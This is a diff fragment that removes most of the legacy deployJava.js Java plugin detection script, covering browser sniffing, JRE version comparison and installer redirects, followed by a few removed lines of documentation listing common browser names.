- }
- },
-
- /*
- * returns true if the plugin is installed and AutoUpdate is enabled
- */
- isAutoUpdateEnabled: function() {
- if (this.isPluginInstalled()) {
- return this.getPlugin().isAutoUpdateEnabled();
- }
- return false;
- },
-
- /*
- * sets AutoUpdate on if plugin is installed
- */
- setAutoUpdateEnabled: function() {
- if (this.isPluginInstalled()) {
- return this.getPlugin().setAutoUpdateEnabled();
- }
- return false;
- },
-
- /*
- * sets the preferred install type : null, online, kernel
- */
- setInstallerType: function(type) {
- this.installType = type;
- if (this.isPluginInstalled()) {
- return this.getPlugin().setInstallerType(type);
- }
- return false;
- },
-
- /*
- * sets additional package list - to be used by kernel installer
- */
- setAdditionalPackages: function(packageList) {
- if (this.isPluginInstalled()) {
- return this.getPlugin().setAdditionalPackages(
- packageList);
- }
- return false;
- },
-
- /*
- * sets preference to install Early Access versions if available
- */
- setEarlyAccess: function(enabled) {
- this.EAInstallEnabled = enabled;
- },
-
- /*
- * Determines if the next generation plugin (Plugin II) is default
- */
- isPlugin2: function() {
- if (this.isPluginInstalled()) {
- if (this.versionCheck('1.6.0_10+')) {
- try {
- return this.getPlugin().isPlugin2();
- } catch (err) {
- // older plugin w/o isPlugin2() function -
- }
- }
- }
- return false;
- },
-
- //support native DT plugin?
- allowPlugin: function() {
- this.getBrowser();
-
- // Safari and Opera browsers find the plugin but it
- // doesn't work, so until we can get it to work - don't use it.
- var ret = ('Safari' != this.browserName2 &&
- 'Opera' != this.browserName2);
-
- return ret;
- },
-
- getPlugin: function() {
- this.refresh();
-
- var ret = null;
- if (this.allowPlugin()) {
- ret = document.getElementById('deployJavaPlugin');
- }
- return ret;
- },
-
- compareVersionToPattern: function(version, patternArray,
- familyMatch, minMatch) {
- if (version == undefined || patternArray == undefined) {
- return false;
- }
- var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
- var matchData = version.match(regex);
-
- if (matchData != null) {
- var index = 0;
- var result = new Array();
-
- for (var i = 1; i < matchData.length; ++i) {
- if ((typeof matchData[i] == 'string') && (matchData[i] != ''))
- {
- result[index] = matchData[i];
- index++;
- }
- }
-
- var l = Math.min(result.length, patternArray.length);
-
- // result contains what is installed in local machine
- // patternArray is what is being requested by application
- if (minMatch) {
- // minimum version match, return true if what we have (installed)
- // is greater or equal to what is requested. false otherwise.
- for (var i = 0; i < l; ++i) {
- if (result[i] < patternArray[i]) {
- return false;
- } else if (result[i] > patternArray[i]) {
- return true;
- }
- }
- return true;
- } else {
- for (var i = 0; i < l; ++i) {
- if (result[i] != patternArray[i]) return false;
- }
- if (familyMatch) {
- // family match - return true as long as what we have
- // (installed) matches up to the request pattern
- return true;
- } else {
- // exact match
- // result and patternArray needs to have exact same content
- return (result.length == patternArray.length);
- }
- }
- } else {
- return false;
- }
- },
-
- getBrowser: function() {
-
- if (this.browserName == null) {
- var browser = navigator.userAgent.toLowerCase();
-
- log('[getBrowser()] navigator.userAgent.toLowerCase() -> ' + browser);
-
-
- // order is important here. Safari userAgent contains mozilla,
- // and Chrome userAgent contains both mozilla and safari.
- if ((browser.indexOf('msie') != -1) && (browser.indexOf('opera') == -1)) {
- this.browserName = 'MSIE';
- this.browserName2 = 'MSIE';
- } else if (browser.indexOf('iphone') != -1) {
- // this included both iPhone and iPad
- this.browserName = 'Netscape Family';
- this.browserName2 = 'iPhone';
- } else if ((browser.indexOf('firefox') != -1) && (browser.indexOf('opera') == -1)) {
- this.browserName = 'Netscape Family';
- this.browserName2 = 'Firefox';
- } else if (browser.indexOf('chrome') != -1) {
- this.browserName = 'Netscape Family';
- this.browserName2 = 'Chrome';
- } else if (browser.indexOf('safari') != -1) {
- this.browserName = 'Netscape Family';
- this.browserName2 = 'Safari';
- } else if ((browser.indexOf('mozilla') != -1) && (browser.indexOf('opera') == -1)) {
- this.browserName = 'Netscape Family';
- this.browserName2 = 'Other';
- } else if (browser.indexOf('opera') != -1) {
- this.browserName = 'Netscape Family';
- this.browserName2 = 'Opera';
- } else {
- this.browserName = '?';
- this.browserName2 = 'unknown';
- }
-
- log('[getBrowser()] Detected browser name:'+ this.browserName +
- ', ' + this.browserName2);
- }
- return this.browserName;
- },
-
-
- testUsingActiveX: function(version) {
- var objectName = 'JavaWebStart.isInstalled.' + version + '.0';
-
- // we need the typeof check here for this to run on FF/Chrome
- // the check needs to be in place here - cannot even pass ActiveXObject
- // as arg to another function
- if (typeof ActiveXObject == 'undefined' || !ActiveXObject) {
- log('[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?');
- return false;
- }
-
- try {
- return (new ActiveXObject(objectName) != null);
- } catch (exception) {
- return false;
- }
- },
-
-
- testForMSVM: function() {
- var clsid = '{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';
-
- if (typeof oClientCaps != 'undefined') {
- var v = oClientCaps.getComponentVersion(clsid, "ComponentID");
- if ((v == '') || (v == '5,0,5000,0')) {
- return false;
- } else {
- return true;
- }
- } else {
- return false;
- }
- },
-
-
- testUsingMimeTypes: function(version) {
- if (!navigator.mimeTypes) {
- log ('[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?');
- return false;
- }
-
- for (var i = 0; i < navigator.mimeTypes.length; ++i) {
- s = navigator.mimeTypes[i].type;
- var m = s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);
- if (m != null) {
- if (this.compareVersions(m[1], version)) {
- return true;
- }
- }
- }
- return false;
- },
-
- testUsingPluginsArray: function(version) {
- if ((!navigator.plugins) || (!navigator.plugins.length)) {
- return false;
- }
- var platform = navigator.platform.toLowerCase();
-
- for (var i = 0; i < navigator.plugins.length; ++i) {
- s = navigator.plugins[i].description;
- if (s.search(/^Java Switchable Plug-in (Cocoa)/) != -1) {
- // Safari on MAC
- if (this.compareVersions("1.5.0", version)) {
- return true;
- }
- } else if (s.search(/^Java/) != -1) {
- if (platform.indexOf('win') != -1) {
- // still can't tell - opera, safari on windows
- // return true for 1.5.0 and 1.6.0
- if (this.compareVersions("1.5.0", version) ||
- this.compareVersions("1.6.0", version)) {
- return true;
- }
- }
- }
- }
- // if above dosn't work on Apple or Windows, just allow 1.5.0
- if (this.compareVersions("1.5.0", version)) {
- return true;
- }
- return false;
-
-
-
- },
-
- IEInstall: function() {
-
- location.href = constructGetJavaURL(
- ((this.returnPage != null) ?
- ('&returnPage=' + this.returnPage) : '') +
- ((this.locale != null) ?
- ('&locale=' + this.locale) : '') +
- ((this.brand != null) ? ('&brand=' + this.brand) : ''));
-
- // should not actually get here
- return false;
- },
-
- done: function (name, result) {
- },
-
- FFInstall: function() {
-
- location.href = constructGetJavaURL(
- ((this.returnPage != null) ?
- ('&returnPage=' + this.returnPage) : '') +
- ((this.locale != null) ?
- ('&locale=' + this.locale) : '') +
- ((this.brand != null) ? ('&brand=' + this.brand) : '') +
- ((this.installType != null) ?
- ('&type=' + this.installType) : ''));
-
- // should not actually get here
- return false;
- },
-
- // return true if 'installed' (considered as a JRE version string) is
- // greater than or equal to 'required' (again, a JRE version string).
- compareVersions: function(installed, required) {
-
- var a = installed.split('.');
- var b = required.split('.');
-
- for (var i = 0; i < a.length; ++i) {
- a[i] = Number(a[i]);
- }
- for (var i = 0; i < b.length; ++i) {
- b[i] = Number(b[i]);
- }
- if (a.length == 2) {
- a[2] = 0;
- }
-
- if (a[0] > b[0]) return true;
- if (a[0] < b[0]) return false;
-
- if (a[1] > b[1]) return true;
- if (a[1] < b[1]) return false;
-
- if (a[2] > b[2]) return true;
- if (a[2] < b[2]) return false;
-
- return true;
- },
-
- enableAlerts: function() {
- // reset this so we can show the browser detection
- this.browserName = null;
- this.debug = true;
- },
-
- poll: function() {
-
- this.refresh();
- var postInstallJREList = this.getJREs();
-
- if ((this.preInstallJREList.length == 0) &&
- (postInstallJREList.length != 0)) {
- clearInterval(this.myInterval);
- if (this.returnPage != null) {
- location.href = this.returnPage;
- };
- }
-
- if ((this.preInstallJREList.length != 0) &&
- (postInstallJREList.length != 0) &&
- (this.preInstallJREList[0] != postInstallJREList[0])) {
- clearInterval(this.myInterval);
- if (this.returnPage != null) {
- location.href = this.returnPage;
- }
- }
-
- },
-
- writePluginTag: function() {
- var browser = this.getBrowser();
-
- if (browser == 'MSIE') {
- document.write('<' +
- 'object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA" ' +
- 'id="deployJavaPlugin" width="0" height="0">' +
- '<' + '/' + 'object' + '>');
- } else if (browser == 'Netscape Family' && this.allowPlugin()) {
- this.writeEmbedTag();
- }
- },
-
- refresh: function() {
- navigator.plugins.refresh(false);
-
- var browser = this.getBrowser();
- if (browser == 'Netscape Family' && this.allowPlugin()) {
- var plugin = document.getElementById('deployJavaPlugin');
- // only do this again if no plugin
- if (plugin == null) {
- this.writeEmbedTag();
- }
- }
- },
-
- writeEmbedTag: function() {
- var written = false;
- if (navigator.mimeTypes != null) {
- for (var i=0; i < navigator.mimeTypes.length; i++) {
- if (navigator.mimeTypes[i].type == this.mimeType) {
- if (navigator.mimeTypes[i].enabledPlugin) {
- document.write('<' +
- 'embed id="deployJavaPlugin" type="' +
- this.mimeType + '" hidden="true" />');
- written = true;
- }
- }
- }
- // if we ddn't find new mimeType, look for old mimeType
- if (!written) for (var i=0; i < navigator.mimeTypes.length; i++) {
- if (navigator.mimeTypes[i].type == this.oldMimeType) {
- if (navigator.mimeTypes[i].enabledPlugin) {
- document.write('<' +
- 'embed id="deployJavaPlugin" type="' +
- this.oldMimeType + '" hidden="true" />');
- }
- }
- }
- }
- }
- }; // deployJava object
-
- rv.writePluginTag();
- if (rv.locale == null) {
- var loc = null;
-
- if (loc == null) try {
- loc = navigator.userLanguage;
- } catch (err) { }
-
- if (loc == null) try {
- loc = navigator.systemLanguage;
- } catch (err) { }
-
- if (loc == null) try {
- loc = navigator.language;
- } catch (err) { }
-
- if (loc != null) {
- loc.replace("-","_")
- rv.locale = loc;
- }
- }
-
- return rv;
-}();
-
The list of common browser names include:
-"Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
-"Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
-"Opera Mini" and "Opera"
-
Mobile versions of some browsers have "Mobile" appended to their name:
-eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"